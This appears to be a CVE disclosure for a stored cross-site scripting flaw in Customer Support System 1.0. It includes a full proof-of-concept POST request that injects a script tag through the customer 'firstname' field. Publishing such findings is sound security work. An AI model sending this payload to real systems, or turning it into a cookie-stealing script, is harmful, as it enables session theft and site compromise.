geraldoalcantara/cve-2023-49971Customer Support System 1.0 - (XSS) Cross-Site Scripting Vulnerability in the "firstname" parameter at "customer_list
Description: Customer Support System 1.0 is vulnerable to stored XSS. A XSS vulnerability exists in version 1 of the Customer Support System. A malicious actor can insert JavaScript code through the "firstname" field/parameter when editing/creating a customer. The code is executed whenever the page "/customer_support/index.php?page=customer_list" is visited.
Vulnerable Product Version: Customer Support System 1.0
CVE Author: Geraldo Alcântara
Date: 28/11/2023
Confirmed on: 19/12/2023
CVE: CVE-2023-49971
Tested on: Windows
POST /customer_support/ajax.php?action=save_customer HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------212391604122778812451614149575
Content-Length: 1149
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_customer
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="id"
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="firstname"
teste</dt></b><script>alert(document.domain)</script>
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Content-Disposition: form-data; name="middlename"
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="lastname"
xss
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="contact"
210
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="address"
asdasd
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="email"
[email protected]
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="password"
xss
-----------------------------212391604122778812451614149575
Content-Disposition: form-data; name="cpass"
xss
-----------------------------212391604122778812451614149575--
Discoverer(s)/Credits:
Geraldo Alcântara